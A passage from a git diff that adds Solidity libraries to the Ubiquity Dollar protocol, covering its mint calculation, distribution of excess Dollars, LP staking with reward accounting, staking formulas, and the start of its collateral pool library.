///////////////////////////////////////////// + + /** + * @notice Checks whether `id` exists in `idList[]` + * @param idList Array to search in + * @param id Value to search in `idList` + * @return Whether `id` exists in `idList[]` + */ + function isIdIncluded( + uint256[] memory idList, + uint256 id + ) internal pure returns (bool) { + for (uint256 i = 0; i < idList.length; i++) { + if (idList[i] == id) { + return true; + } + } + return false; + } + + /** + * @notice Checks that `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool + * @param token Token address to check + * @return Whether `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool + */ + function isMetaPoolCoin(address token) internal pure returns (bool) { + DirectGovernanceData memory data = directGovernanceStorage(); + return (token == data.token2 || + token == data.token1 || + token == data.token0 || + token == address(data.ubiquityDollar)); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibDollarMintCalculator.sol b/packages/contracts/src/dollar/libraries/LibDollarMintCalculator.sol new file mode 100644 index 000000000..bac9d5221 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibDollarMintCalculator.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import {IDollarMintCalculator} from "../../dollar/interfaces/IDollarMintCalculator.sol"; +import "abdk/ABDKMathQuad.sol"; +import {ICurveStableSwapMetaNG} from "../interfaces/ICurveStableSwapMetaNG.sol"; +import {LibAppStorage, AppStorage} from "./LibAppStorage.sol"; + +/// @notice Calculates amount of Dollars ready to be minted when TWAP price (i.e. Dollar price) > 1$ +library LibDollarMintCalculator { + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + /** + * @notice Returns amount of Dollars to be minted based on formula `(TWAP_PRICE - 1) * DOLLAR_TOTAL_SUPPLY` + * @return Amount of Dollars to be minted + */ + function getDollarsToMint() internal view returns (uint256) { + AppStorage storage store = LibAppStorage.appStorage(); + uint256 twapPrice = ICurveStableSwapMetaNG( + store.stableSwapMetaPoolAddress + ).price_oracle(0); + require(twapPrice > 1 ether, "DollarMintCalculator: not > 1"); + bytes16 _one = (uint256(1 ether)).fromUInt(); + return + twapPrice + .fromUInt() + .sub(_one) + .mul( + ( + IERC20(store.dollarTokenAddress) + .totalSupply() + .fromUInt() + .div(_one) + ) + ) + .toUInt(); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibDollarMintExcess.sol b/packages/contracts/src/dollar/libraries/LibDollarMintExcess.sol new file mode 100644 index 000000000..e34289172 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibDollarMintExcess.sol @@ -0,0 +1,169 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; +import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; +import {IERC20Ubiquity} from "../../dollar/interfaces/IERC20Ubiquity.sol"; +import "../../dollar/interfaces/ICurveStableSwapMetaNG.sol"; +import "abdk/ABDKMathQuad.sol"; +import {LibAppStorage, AppStorage} from "./LibAppStorage.sol"; + +/** + * @notice Library for distributing excess Dollars when `mintClaimableDollars()` is called + * @notice Excess Dollars are distributed this way: + * - 50% goes to the treasury address + * - 10% goes for burning Dollar-Governance LP tokens in a DEX pool + * - 40% goes to the Staking contract + */ +library LibDollarMintExcess { + using SafeERC20 for IERC20Ubiquity; + using SafeERC20 for IERC20; + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + /// @notice Min amount of Dollars to distribute + uint256 private constant _minAmountToDistribute = 100 ether; + + /// @notice DEX router address + IUniswapV2Router01 private constant _router = + IUniswapV2Router01(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiV2Router02 + + /** + * @notice Distributes excess Dollars: + * - 50% goes to the treasury address + * - 10% goes for burning Dollar-Governance LP tokens in a DEX pool + * - 40% goes to the Staking contract + */ + function distributeDollars() internal { + //the excess dollars which were sent to this contract by the coupon manager + AppStorage storage store = LibAppStorage.appStorage(); + IERC20Ubiquity dollar = IERC20Ubiquity(store.dollarTokenAddress); + uint256 excessDollars = dollar.balanceOf(address(this)); + if (excessDollars > _minAmountToDistribute) { + address treasuryAddress = store.treasuryAddress; + + // curve UbiquityDollar-3CRV liquidity pool + uint256 tenPercent = excessDollars + .fromUInt() + .div(uint256(10).fromUInt()) + .toUInt(); + uint256 fiftyPercent = excessDollars + .fromUInt() + .div(uint256(2).fromUInt()) + .toUInt(); + dollar.safeTransfer(treasuryAddress, fiftyPercent); + // convert Ubiquity Dollar to GovernanceToken-DollarToken LP on sushi and burn them + _governanceBuyBackLPAndBurn(tenPercent); + // convert remaining Ubiquity Dollar to curve LP tokens + // and transfer the curve LP tokens to the staking contract + _convertToCurveLPAndTransfer( + excessDollars - fiftyPercent - tenPercent + ); + } + } + + /** + * @notice Swaps Dollars for Governance tokens in a DEX + * @param amountIn Amount of Dollars to swap + * @return Amount of Governance tokens returned + */ + function _swapDollarsForGovernance( + bytes16 amountIn + ) internal returns (uint256) { + address[] memory path = new address[](2); + AppStorage storage store = LibAppStorage.appStorage(); + path[0] = store.dollarTokenAddress; + path[1] = store.governanceTokenAddress; + uint256[] memory amounts = _router.swapExactTokensForTokens( + amountIn.toUInt(), + 0, + path, + address(this), + block.timestamp + 100 + ); + + return amounts[1]; + } + + /** + * @notice Swaps half of `amount` Dollars for Governance tokens and adds + * them as a liquidity to a DEX pool burning the result LP tokens + * @param amount Amount of Dollars + */ + function _governanceBuyBackLPAndBurn(uint256 amount) internal { + bytes16 amountDollars = (amount.fromUInt()).div(uint256(2).fromUInt()); + + // we need to approve sushi router + + IERC20Ubiquity dollar = IERC20Ubiquity( + LibAppStorage.appStorage().dollarTokenAddress + ); + IERC20Ubiquity gov = IERC20Ubiquity( + LibAppStorage.appStorage().governanceTokenAddress + ); + dollar.safeApprove(address(_router), 0); + uint256 amountGovernanceTokens = _swapDollarsForGovernance( + amountDollars + ); + + gov.safeApprove(address(_router), 0); + gov.safeApprove(address(_router), amountGovernanceTokens); + + // deposit liquidity and transfer to zero address (burn) + _router.addLiquidity( + address(dollar), + address(gov), + amountDollars.toUInt(), + amountGovernanceTokens, + 0, + 0, + address(0), + block.timestamp + 100 + ); + } + + /** + * @notice Swaps `amount` Dollars for 3CRV LP tokens in the MetaPool, adds + * 3CRV LP tokens to the MetaPool and transfers the result Dollar-3CRV LP tokens + * to the Staking contract + * @param amount Dollars amount + * @return Amount of Dollar-3CRV LP tokens minted + */ + function _convertToCurveLPAndTransfer( + uint256 amount + ) internal returns (uint256) { + AppStorage storage store = LibAppStorage.appStorage(); + address stableSwapMetaPoolAddress = store.stableSwapMetaPoolAddress; + address curve3PoolTokenAddress = store.curve3PoolTokenAddress; + // we need to approve metaPool + IERC20Ubiquity dollar = IERC20Ubiquity( + LibAppStorage.appStorage().dollarTokenAddress + ); + dollar.approve(stableSwapMetaPoolAddress, 0); + dollar.approve(stableSwapMetaPoolAddress, amount); + + // swap amount of Ubiquity Dollar => 3CRV + uint256 amount3CRVReceived = ICurveStableSwapMetaNG( + stableSwapMetaPoolAddress + ).exchange(0, 1, amount, 0); + + // approve metapool to transfer our 3CRV + IERC20(curve3PoolTokenAddress).approve(stableSwapMetaPoolAddress, 0); + IERC20(curve3PoolTokenAddress).approve( + stableSwapMetaPoolAddress, + amount3CRVReceived + ); + + // deposit liquidity + uint256 res = ICurveStableSwapMetaNG(stableSwapMetaPoolAddress) + .add_liquidity( + [0, amount3CRVReceived], + 0, + address(this) // stacking contract + ); + // update TWAP price + return res; + } +} diff --git a/packages/contracts/src/dollar/libraries/LibStaking.sol b/packages/contracts/src/dollar/libraries/LibStaking.sol new file mode 100644 index 000000000..c1c201b7f --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibStaking.sol @@ -0,0 +1,532 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import "./LibChef.sol"; +import "./LibStakingFormulas.sol"; +import {StakingShare} from "../core/StakingShare.sol"; +import {ICurveStableSwapMetaNG} from "../interfaces/ICurveStableSwapMetaNG.sol"; + +/// @notice Staking library +library LibStaking { + using SafeERC20 for IERC20; + + /// @notice Storage slot used to store data for this library + bytes32 constant STAKING_CONTROL_STORAGE_SLOT = + bytes32(uint256(keccak256("ubiquity.contracts.staking.storage")) - 1) & + ~bytes32(uint256(0xff)); + + /// @notice Emitted when Dollar or 3CRV tokens are removed from Curve MetaPool + event PriceReset( + address _tokenWithdrawn, + uint256 _amountWithdrawn, + uint256 _amountTransferred + ); + + /// @notice Emitted when user deposits Dollar-3CRV LP tokens to the staking contract + event Deposit( + address indexed _user, + uint256 indexed _id, + uint256 _lpAmount, + uint256 _stakingShareAmount, + uint256 _weeks, + uint256 _endBlock + ); + + /// @notice Emitted when user removes liquidity from stake + event RemoveLiquidityFromStake( + address indexed _user, + uint256 indexed _id, + uint256 _lpAmount, + uint256 _lpAmountTransferred, + uint256 _lpRewards, + uint256 _stakingShareAmount + ); + + /// @notice Emitted when user adds liquidity to stake + event AddLiquidityFromStake( + address indexed _user, + uint256 indexed _id, + uint256 _lpAmount, + uint256 _stakingShareAmount + ); + + /// @notice Emitted when staking discount multiplier is updated + event StakingDiscountMultiplierUpdated(uint256 _stakingDiscountMultiplier); + + /// @notice Emitted when number of blocks in week is updated + event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek); + + /// @notice Struct used as a storage for the current library + struct StakingData { + uint256 stakingDiscountMultiplier; + uint256 blockCountInAWeek; + uint256 accLpRewardPerShare; + uint256 lpRewards; + uint256 totalLpToMigrate; + } + + /** + * @notice Returns struct used as a storage for this library + * @return l Struct used as a storage + */ + function stakingStorage() internal pure returns (StakingData storage l) { + bytes32 slot = STAKING_CONTROL_STORAGE_SLOT; + assembly { + l.slot := slot + } + } + + /** + * @notice Removes Ubiquity Dollar unilaterally from the curve LP share sitting inside + * the staking contract and sends the Ubiquity Dollar received to the treasury. This will + * have the immediate effect of pushing the Ubiquity Dollar price HIGHER + * @notice It will remove one coin only from the curve LP share sitting in the staking contract + * @param amount Amount of LP token to be removed for Ubiquity Dollar + */ + function dollarPriceReset(uint256 amount) internal { + ICurveStableSwapMetaNG metaPool = ICurveStableSwapMetaNG( + LibAppStorage.appStorage().stableSwapMetaPoolAddress + ); + // remove one coin + uint256 coinWithdrawn = metaPool.remove_liquidity_one_coin( + amount, + 0, + 0 + ); + AppStorage storage store = LibAppStorage.appStorage(); + IERC20 dollar = IERC20(store.dollarTokenAddress); + uint256 toTransfer = dollar.balanceOf(address(this)); + dollar.safeTransfer(store.treasuryAddress, toTransfer); + emit PriceReset(store.dollarTokenAddress, coinWithdrawn, toTransfer); + } + + /** + * @notice Remove 3CRV unilaterally from the curve LP share sitting inside + * the staking contract and send the 3CRV received to the treasury. This will + * have the immediate effect of pushing the Ubiquity Dollar price LOWER. + * @notice It will remove one coin only from the curve LP share sitting in the staking contract + * @param amount Amount of LP token to be removed for 3CRV tokens + */ + function crvPriceReset(uint256 amount) internal { + ICurveStableSwapMetaNG metaPool = ICurveStableSwapMetaNG( + LibAppStorage.appStorage().stableSwapMetaPoolAddress + ); + // remove one coin + uint256 coinWithdrawn = metaPool.remove_liquidity_one_coin( + amount, + 1, + 0 + ); + uint256 toTransfer = IERC20(metaPool.coins(1)).balanceOf(address(this)); + + IERC20(metaPool.coins(1)).transfer( + LibAppStorage.appStorage().treasuryAddress, + toTransfer + ); + emit PriceReset(metaPool.coins(1), coinWithdrawn, toTransfer); + } + + /** + * @notice Sets staking discount multiplier + * @param _stakingDiscountMultiplier New staking discount multiplier + */ + function setStakingDiscountMultiplier( + uint256 _stakingDiscountMultiplier + ) internal { + stakingStorage().stakingDiscountMultiplier = _stakingDiscountMultiplier; + emit StakingDiscountMultiplierUpdated(_stakingDiscountMultiplier); + } + + /** + * @notice Returns staking discount multiplier + * @return Staking discount multiplier + */ + function stakingDiscountMultiplier() internal view returns (uint256) { + return stakingStorage().stakingDiscountMultiplier; + } + + /** + * @notice Returns number of blocks in a week + * @return Number of blocks in a week + */ + function blockCountInAWeek() internal view returns (uint256) { + return stakingStorage().blockCountInAWeek; + } + + /** + * @notice Sets number of blocks in a week + * @param _blockCountInAWeek Number of blocks in a week + */ + function setBlockCountInAWeek(uint256 _blockCountInAWeek) internal { + stakingStorage().blockCountInAWeek = _blockCountInAWeek; + emit BlockCountInAWeekUpdated(_blockCountInAWeek); + } + + /** + * @notice Deposits UbiquityDollar-3CRV LP tokens for a duration to receive staking shares + * @notice Weeks act as a multiplier for the amount of staking shares to be received + * @param _lpsAmount Amount of LP tokens to send + * @param _weeks Number of weeks during which LP tokens will be held + * @return _id Staking share id + */ + function deposit( + uint256 _lpsAmount, + uint256 _weeks + ) internal returns (uint256 _id) { + require( + 1 <= _weeks && _weeks <= 208, + "Staking: duration must be between 1 and 208 weeks" + ); + + // update the accumulated lp rewards per shares + _updateLpPerShare(); + // transfer lp token to the staking contract + IERC20(LibAppStorage.appStorage().stableSwapMetaPoolAddress) + .safeTransferFrom(msg.sender, address(this), _lpsAmount); + StakingData storage ss = stakingStorage(); + // calculate the amount of share based on the amount of lp deposited and the duration + uint256 _sharesAmount = LibStakingFormulas.durationMultiply( + _lpsAmount, + _weeks, + ss.stakingDiscountMultiplier + ); + // calculate end locking period block number + uint256 _endBlock = block.number + _weeks * ss.blockCountInAWeek; + _id = _mint(msg.sender, _lpsAmount, _sharesAmount, _endBlock); + // set masterchef for Governance rewards + LibChef.deposit(msg.sender, _sharesAmount, _id); + + emit Deposit( + msg.sender, + _id, + _lpsAmount, + _sharesAmount, + _weeks, + _endBlock + ); + } + + /** + * @notice Adds an amount of UbiquityDollar-3CRV LP tokens + * @notice Staking shares are ERC1155 (aka NFT) because they have an expiration date + * @param _amount Amount of LP token to deposit + * @param _id Staking share id + * @param _weeks Number of weeks during which LP tokens will be held + */ + function addLiquidity( + uint256 _amount, + uint256 _id, + uint256 _weeks + ) internal { + ( + uint256[2] memory bs, + StakingShare.Stake memory stake + ) = _checkForLiquidity(_id); + + // calculate pending LP rewards + uint256 sharesToRemove = bs[0]; + _updateLpPerShare(); + uint256 pendingLpReward = lpRewardForShares( + sharesToRemove, + stake.lpRewardDebt + ); + + // add an extra step to be able to decrease rewards if locking end is near + pendingLpReward = LibStakingFormulas.lpRewardsAddLiquidityNormalization( + stake, + bs, + pendingLpReward + ); + // add these LP Rewards to the deposited amount of LP token + stake.lpAmount += pendingLpReward; + StakingData storage ss = stakingStorage(); + ss.lpRewards -= pendingLpReward; + IERC20(LibAppStorage.appStorage().stableSwapMetaPoolAddress) + .safeTransferFrom(msg.sender, address(this), _amount); + stake.lpAmount += _amount; + + // redeem all shares + LibChef.withdraw(msg.sender, sharesToRemove, _id); + + // calculate the amount of share based on the new amount of lp deposited and the duration + uint256 _sharesAmount = LibStakingFormulas.durationMultiply( + stake.lpAmount, + _weeks, + ss.stakingDiscountMultiplier + ); + + // deposit new shares + LibChef.deposit(msg.sender, _sharesAmount, _id); + // calculate end locking period block number + // 1 week = 49930 blocks + // n = (block number + duration * 49930) + stake.endBlock = block.number + _weeks * ss.blockCountInAWeek; + + // should be done after masterchef withdraw + _updateLpPerShare(); + stake.lpRewardDebt = + (LibChef.getStakingShareInfo(_id)[0] * ss.accLpRewardPerShare) / + 1e12; + StakingShare(LibAppStorage.appStorage().stakingShareAddress) + .updateStake( + _id, + stake.lpAmount, + stake.lpRewardDebt, + stake.endBlock + ); + emit AddLiquidityFromStake( + msg.sender, + _id, + stake.lpAmount, + _sharesAmount + ); + } + + /** + * @notice Removes an amount of UbiquityDollar-3CRV LP tokens + * @notice Staking shares are ERC1155 (aka NFT) because they have an expiration date + * @param _amount Amount of LP token deposited when `_id` was created to be withdrawn + * @param _id Staking share id + */ + function removeLiquidity(uint256 _amount, uint256 _id) internal { + ( + uint256[2] memory bs, + StakingShare.Stake memory stake + ) = _checkForLiquidity(_id); + require(stake.lpAmount >= _amount, "Staking: amount too big"); + // we should decrease the Governance token rewards proportionally to the LP removed + // sharesToRemove = (staking shares * _amount ) / stake.lpAmount ; + uint256 sharesToRemove = LibStakingFormulas.sharesForLP( + stake, + bs, + _amount + ); + + //get all its pending LP Rewards + _updateLpPerShare(); + uint256 pendingLpReward = lpRewardForShares(bs[0], stake.lpRewardDebt); + // update staking shares + // stake.shares = stake.shares - sharesToRemove; + // get masterchef for Governance token rewards To ensure correct computation + // it needs to be done BEFORE updating the staking share + LibChef.withdraw(msg.sender, sharesToRemove, _id); + + // redeem of the extra LP + // staking lp balance - StakingShare.totalLP + IERC20 metapool = IERC20( + LibAppStorage.appStorage().stableSwapMetaPoolAddress + ); + + // add an extra step to be able to decrease rewards if locking end is near + pendingLpReward = LibStakingFormulas + .lpRewardsRemoveLiquidityNormalization(stake, bs, pendingLpReward); + StakingData storage ss = stakingStorage(); + address stakingShareAddress = LibAppStorage + .appStorage() + .stakingShareAddress; + uint256 correctedAmount = LibStakingFormulas.correctedAmountToWithdraw( + StakingShare(stakingShareAddress).totalLP(), + metapool.balanceOf(address(this)) - ss.lpRewards, + _amount + ); + + ss.lpRewards -= pendingLpReward; + stake.lpAmount -= _amount; + + // stake.lpRewardDebt = (staking shares * accLpRewardPerShare) / 1e18; + // user.amount.mul(pool.accSushiPerShare).div(1e12); + // should be done after masterchef withdraw + stake.lpRewardDebt = + (LibChef.getStakingShareInfo(_id)[0] * ss.accLpRewardPerShare) / + 1e12; + + StakingShare(stakingShareAddress).updateStake( + _id, + stake.lpAmount, + stake.lpRewardDebt, + stake.endBlock + ); + + // lastly redeem lp tokens + metapool.safeTransfer(msg.sender, correctedAmount + pendingLpReward); + emit RemoveLiquidityFromStake( + msg.sender, + _id, + _amount, + correctedAmount, + pendingLpReward, + sharesToRemove + ); + } + + /** + * @notice View function to see pending LP rewards on frontend + * @param _id Staking share id + * @return Amount of LP rewards + */ + function pendingLpRewards(uint256 _id) internal view returns (uint256) { + StakingData storage ss = stakingStorage(); + address stakingShareAddress = LibAppStorage + .appStorage() + .stakingShareAddress; + StakingShare staking = StakingShare(stakingShareAddress); + StakingShare.Stake memory stake = staking.getStake(_id); + uint256[2] memory bs = LibChef.getStakingShareInfo(_id); + + uint256 lpBalance = IERC20( + LibAppStorage.appStorage().stableSwapMetaPoolAddress + ).balanceOf(address(this)); + // the excess LP is the current balance minus the total deposited LP + if (lpBalance >= (staking.totalLP() + ss.totalLpToMigrate)) { + uint256 currentLpRewards = lpBalance - + (staking.totalLP() + ss.totalLpToMigrate); + uint256 curAccLpRewardPerShare = ss.accLpRewardPerShare; + // if new rewards we should calculate the new curAccLpRewardPerShare + if (currentLpRewards > ss.lpRewards) { + uint256 newLpRewards = currentLpRewards - ss.lpRewards; + curAccLpRewardPerShare = + ss.accLpRewardPerShare + + ((newLpRewards * 1e12) / LibChef.totalShares()); + } + // we multiply the shares amount by the accumulated lpRewards per share + // and remove the lp Reward Debt + return + (bs[0] * (curAccLpRewardPerShare)) / + (1e12) - + (stake.lpRewardDebt); + } + return 0; + } + + /** + * @notice Returns the amount of LP token rewards an amount of shares entitled + * @param amount Amount of staking shares + * @param lpRewardDebt Amount of LP rewards that have already been distributed + * @return pendingLpReward Amount of pending LP rewards + */ + function lpRewardForShares( + uint256 amount, + uint256 lpRewardDebt + ) internal view returns (uint256 pendingLpReward) { + StakingData storage ss = stakingStorage(); + if (ss.accLpRewardPerShare > 0) { + pendingLpReward = + (amount * ss.accLpRewardPerShare) / + 1e12 - + (lpRewardDebt); + } + } + + /** + * @notice Returns current share price + * @return priceShare Share price + */ + function currentShareValue() internal view returns (uint256 priceShare) { + uint256 totalShares = LibChef.totalShares(); + address stakingShareAddress = LibAppStorage + .appStorage() + .stakingShareAddress; + // priceShare = totalLP / totalShares + priceShare = LibStakingFormulas.bondPrice( + StakingShare(stakingShareAddress).totalLP(), + totalShares, + ONE + ); + } + + /** + * @notice Updates the accumulated excess LP per share + */ + function _updateLpPerShare() internal { + address stakingShareAddress = LibAppStorage + .appStorage() + .stakingShareAddress; + StakingData storage ss = stakingStorage(); + StakingShare stake = StakingShare(stakingShareAddress); + uint256 lpBalance = IERC20( + LibAppStorage.appStorage().stableSwapMetaPoolAddress + ).balanceOf(address(this)); + // the excess LP is the current balance + // minus the total deposited LP + LP that needs to be migrated + uint256 totalShares = LibChef.totalShares(); + if ( + lpBalance >= (stake.totalLP() + ss.totalLpToMigrate) && + totalShares > 0 + ) { + uint256 currentLpRewards = lpBalance - + (stake.totalLP() + ss.totalLpToMigrate); + + // is there new LP rewards to be distributed ? + if (currentLpRewards > ss.lpRewards) { + // we calculate the new accumulated LP rewards per share + ss.accLpRewardPerShare = + ss.accLpRewardPerShare + + (((currentLpRewards - ss.lpRewards) * 1e12) / totalShares); + + // update the staking contract lpRewards + ss.lpRewards = currentLpRewards; + } + } + } + + /** + * @notice Mints a staking share on deposit + * @param to Address where to mint a staking share + * @param lpAmount Amount of LP tokens + * @param shares Amount of shares + * @param endBlock Staking share end block + * @return Staking share id + */ + function _mint( + address to, + uint256 lpAmount, + uint256 shares, + uint256 endBlock + ) internal returns (uint256) { + uint256 _currentShareValue = currentShareValue(); + require( + _currentShareValue != 0, + "Staking: share value should not be null" + ); + // set the lp rewards debts so that this staking share only get lp rewards from this day + uint256 lpRewardDebt = (shares * stakingStorage().accLpRewardPerShare) / + 1e12; + return + StakingShare(LibAppStorage.appStorage().stakingShareAddress).mint( + to, + lpAmount, + lpRewardDebt, + endBlock + ); + } + + /** + * @notice Returns staking share info + * @param _id Staking share id + * @return bs Array of amount of shares and reward debt + * @return stake Stake info + */ + function _checkForLiquidity( + uint256 _id + ) + internal + view + returns (uint256[2] memory bs, StakingShare.Stake memory stake) + { + address stakingAddress = LibAppStorage.appStorage().stakingShareAddress; + require( + IERC1155Ubiquity(stakingAddress).balanceOf(msg.sender, _id) == 1, + "Staking: caller is not owner" + ); + StakingShare staking = StakingShare(stakingAddress); + stake = staking.getStake(_id); + require( + block.number > stake.endBlock, + "Staking: Redeem not allowed before staking time" + ); + + bs = LibChef.getStakingShareInfo(_id); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibStakingFormulas.sol b/packages/contracts/src/dollar/libraries/LibStakingFormulas.sol new file mode 100644 index 000000000..3eb97cae3 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibStakingFormulas.sol @@ -0,0 +1,180 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {StakingShare} from "../../../src/dollar/core/StakingShare.sol"; +import "abdk/ABDKMathQuad.sol"; +import "./Constants.sol"; + +/// @notice Library for staking formulas +library LibStakingFormulas { + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + /** + * @notice Formula to calculate the corrected amount to withdraw based on the proportion of + * LP deposited against actual LP tokens in the staking contract + * @notice `corrected_amount = amount * (stakingLpBalance / totalLpDeposited)` + * @notice If there is more or the same amount of LP than deposited then do nothing + * @param _totalLpDeposited Total amount of LP deposited by users + * @param _stakingLpBalance Actual staking contract LP tokens balance minus LP rewards + * @param _amount Amount of LP tokens + * @return Amount of LP tokens to redeem + */ + function correctedAmountToWithdraw( + uint256 _totalLpDeposited, + uint256 _stakingLpBalance, + uint256 _amount + ) internal pure returns (uint256) { + if (_stakingLpBalance < _totalLpDeposited && _stakingLpBalance > 0) { + // if there is less LP token inside the staking contract that what have been deposited + // we have to reduce proportionally the lp amount to withdraw + return + _amount + .fromUInt() + .mul(_stakingLpBalance.fromUInt()) + .div(_totalLpDeposited.fromUInt()) + .toUInt(); + } + return _amount; + } + + /** + * @notice Formula of governance rights corresponding to a staking shares LP amount + * @notice Used on removing liquidity from staking + * @notice `shares = (stake.shares * _amount) / stake.lpAmount` + * @param _stake Stake info of staking share + * @param _shareInfo Array of share amounts + * @param _amount Amount of LP tokens + * @return _uLP Amount of shares + */ + function sharesForLP( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount + ) internal pure returns (uint256 _uLP) { + bytes16 a = _shareInfo[0].fromUInt(); // shares amount + bytes16 v = _amount.fromUInt(); + bytes16 t = _stake.lpAmount.fromUInt(); + + _uLP = a.mul(v).div(t).toUInt(); + } + + /** + * @notice Formula may add a decreasing rewards if locking end is near when removing liquidity + * @notice `rewards = _amount` + * @param _amount Amount of LP tokens + * @return Amount of LP rewards + */ + function lpRewardsRemoveLiquidityNormalization( + StakingShare.Stake memory /* _stake */, + uint256[2] memory /* _shareInfo */, + uint256 _amount + ) internal pure returns (uint256) { + return _amount; + } + + /** + * @notice Formula may add a decreasing rewards if locking end is near when adding liquidity + * @notice `rewards = _amount` + * @param _amount Amount of LP tokens + * @return Amount of LP rewards + */ + function lpRewardsAddLiquidityNormalization( + StakingShare.Stake memory /* _stake */, + uint256[2] memory /* _shareInfo */, + uint256 _amount + ) internal pure returns (uint256) { + return _amount; + } + + /** + * @notice Formula duration multiply + * @notice `_shares = (1 + _multiplier * _weeks^3/2) * _uLP` + * @notice `D32 = D^3/2` + * @notice `S = m * D32 * A + A` + * @param _uLP Amount of LP tokens + * @param _weeks Minimum duration of staking period + * @param _multiplier Staking discount multiplier = 0.0001 + * @return _shares Amount of shares + */ + function durationMultiply( + uint256 _uLP, + uint256 _weeks, + uint256 _multiplier + ) internal pure returns (uint256 _shares) { + bytes16 unit = uint256(1 ether).fromUInt(); + bytes16 d = _weeks.fromUInt(); + bytes16 d32 = (d.mul(d).mul(d)).sqrt(); + bytes16 a = _uLP.fromUInt(); + + _shares = _multiplier + .fromUInt() + .mul(d32) + .mul(a) + .div(unit) + .add(a) + .toUInt(); + } + + /** + * @notice Formula staking price + * @notice + * ``` + * IF _totalStakingShares = 0 + * priceBOND = TARGET_PRICE + * ELSE + * priceBOND = totalLP / totalShares * TARGET_PRICE + * R = T == 0 ? 1 : LP / S + * P = R * T + * ``` + * @param _totalULP Total LP tokens + * @param _totalStakingShares Total staking shares + * @param _targetPrice Target Ubiquity Dollar price + * @return _stakingPrice Staking share price + */ + function bondPrice( + uint256 _totalULP, + uint256 _totalStakingShares, + uint256 _targetPrice + ) internal pure returns (uint256 _stakingPrice) { + bytes16 lp = _totalULP.fromUInt(); + bytes16 s = _totalStakingShares.fromUInt(); + bytes16 r = _totalStakingShares == 0 + ? uint256(1).fromUInt() + : lp.div(s); + bytes16 t = _targetPrice.fromUInt(); + + _stakingPrice = r.mul(t).toUInt(); + } + + /** + * @notice Formula Governance token multiply + * @notice + * ``` + * new_multiplier = multiplier * (1.05 / (1 + abs(1 - price))) + * nM = M * C / A + * A = (1 + abs(1 - P))) + * 5 >= multiplier >= 0.2 + * ``` + * @param _multiplier Initial Governance token min multiplier + * @param _price Current share price + * @return _newMultiplier New Governance token min multiplier + */ + function governanceMultiply( + uint256 _multiplier, + uint256 _price + ) internal pure returns (uint256 _newMultiplier) { + bytes16 m = _multiplier.fromUInt(); + bytes16 p = _price.fromUInt(); + bytes16 c = uint256(105 * 1e16).fromUInt(); // 1.05 + bytes16 u = uint256(1e18).fromUInt(); // 1 + bytes16 a = u.add(u.sub(p).abs()); // 1 + abs( 1 - P ) + + _newMultiplier = m.mul(c).div(a).toUInt(); // nM = M * C / A + + // 5 >= multiplier >= 0.2 + if (_newMultiplier > 5e18 || _newMultiplier < 2e17) { + _newMultiplier = _multiplier; + } + } +} diff --git a/packages/contracts/src/dollar/libraries/LibUbiquityPool.sol b/packages/contracts/src/dollar/libraries/LibUbiquityPool.sol new file mode 100644 index 000000000..b3f8a5e51 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibUbiquityPool.sol @@ -0,0 +1,1245 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +pragma solidity 0.8.19; + +import {AggregatorV3Interface} from "@chainlink/interfaces/AggregatorV3Interface.sol"; +import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; +import {ICurveStableSwapNG} from "../interfaces/ICurveStableSwapNG.sol"; +import {ICurveTwocryptoOptimized} from "../interfaces/ICurveTwocryptoOptimized.sol"; +import {IDollarAmoMinter} from "../interfaces/IDollarAmoMinter.sol"; +import {IERC20Ubiquity} from "../interfaces/IERC20Ubiquity.sol"; +import {UBIQUITY_POOL_PRICE_PRECISION} from "./Constants.sol"; +import {AppStorage, LibAppStorage} from "./LibAppStorage.sol"; + +/** + * @notice Ubiquity pool library + * @notice Allows users to: + * - deposit collateral in exchange for Ubiquity Dollars + * - redeem Ubiquity Dollars in exchange for the earlier provided collateral + */ +library LibUbiquityPool { + using SafeERC20 for IERC20; + using SafeMath for uint256; + + /// @notice Storage slot used to store data for this library + bytes32 constant UBIQUITY_POOL_STORAGE_POSITION = + bytes32( + uint256(keccak256("ubiquity.contracts.ubiquity.pool.storage")) - 1 + ) & ~bytes32(uint256(0xff)); + + /// @notice Struct used as a storage for this library + struct UbiquityPoolStorage { + //======== + // Core + //======== + // minter address -> is it enabled + mapping(address amoMinter => bool isEnabled) isAmoMinterEnabled; + //====================== + // Collateral related + //====================== + // available collateral tokens + address[] collateralAddresses; + // collateral address -> collateral index + mapping(address collateralAddress => uint256 collateralIndex) collateralIndex; + // collateral index -> chainlink price feed addresses + address[] collateralPriceFeedAddresses; + // collateral index -> threshold in seconds when chainlink answer should be considered stale + uint256[] collateralPriceFeedStalenessThresholds; + // 